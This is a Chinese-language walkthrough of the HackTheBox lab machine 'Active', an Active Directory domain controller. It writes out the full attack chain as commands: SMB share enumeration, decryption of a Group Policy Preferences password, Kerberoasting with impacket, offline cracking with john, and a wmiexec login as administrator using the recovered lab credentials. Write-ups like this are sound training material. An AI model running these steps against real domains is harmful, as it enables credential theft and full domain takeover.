Active Directory 101-Active
Active
前言
AD域的第三台靶机 用到了一些前面没有用到的技术。
信息收集
Nmap scan report for 10.10.10.100
Host is up (0.41s latency).
Not shown: 65512 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-10 14:36:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49170/tcp open msrpc Microsoft Windows RPC
49171/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
得到一堆信息 开放了端口 尝试进行SMB枚举。
SMB枚举
smbmap -H 10.10.10.100

得到目标一共有7个SMB共享服务 其中可以匿名访问的为Replication
访问该目录
smbclient //10.10.10.100/Replication -U ""%""
最后发现 SVC_TGS用户的账号和密码


GPP密码解密
每当创建新的组策略首选项 (GPP) 时,都会在 SYSVOL 共享中创建一个带有该配置数据的 xml 文件,包括与 GPP 关联的任何密码。为安全起见,Microsoft将密码存储为cpassword
. 但随后微软在 MSDN 上公布了密钥!,微软在 2014 年发布了一个补丁,阻止管理员将密码输入 GPP。但是该补丁对已经存在的这些易破解密码没有任何作用。
由于密钥已经知道了 所以可以直接解密。
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

得到了SVC_TGS的密码 GPPstillStandingStrong2k18 。
可以通过smb协议登录机器了。
将桌面上的user.txt下载下来就可以了。

Kerberoasting
其实我一开始还不太熟悉 不知道用这个攻击 但是看提示问我 哪个账户容易受到Kerberoasting攻击,那么这里应该就是用这种方法了。这种攻击发生在TGS_REQ的阶段,KDC的TGS服务返回一个由服务Hash加密的STG给客户端。由于该ST是用服务Hash进行加密的,所以客户端拿到hash后可以进行离线暴破。有可能可以暴破出字典。
请求服务票据
这里用的是impacket请求 使用Rubeus或者mimikat应该都是可以的。
GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18

离线破解
将票据内容保存下来使用工具破解。
我是直接复制下来创建一个文件 如果是mimikatz我记得是没法直接复制的。然后使用john破解 我感觉这个比hashcat快一些。
字典才用的是流传的rockyou字典。


成功破解出密码为 Ticketmaster1968
wmiexec.py administrator:Ticketmaster1968@10.10.10.100

成功拿到域管权限。
总结
这台靶机的还是比较轻松的,思路大概就是通过前期一个SMB服务可以实现匿名访问 然后发现了带有域内账号密码的的文件,通过公开的密钥将其密码破解了出来。这一步得到了域内普通用户的权限,后面通过Kerberoasting攻击得到域管的hash通过离线破解的方式可以得到密码得到域管权限。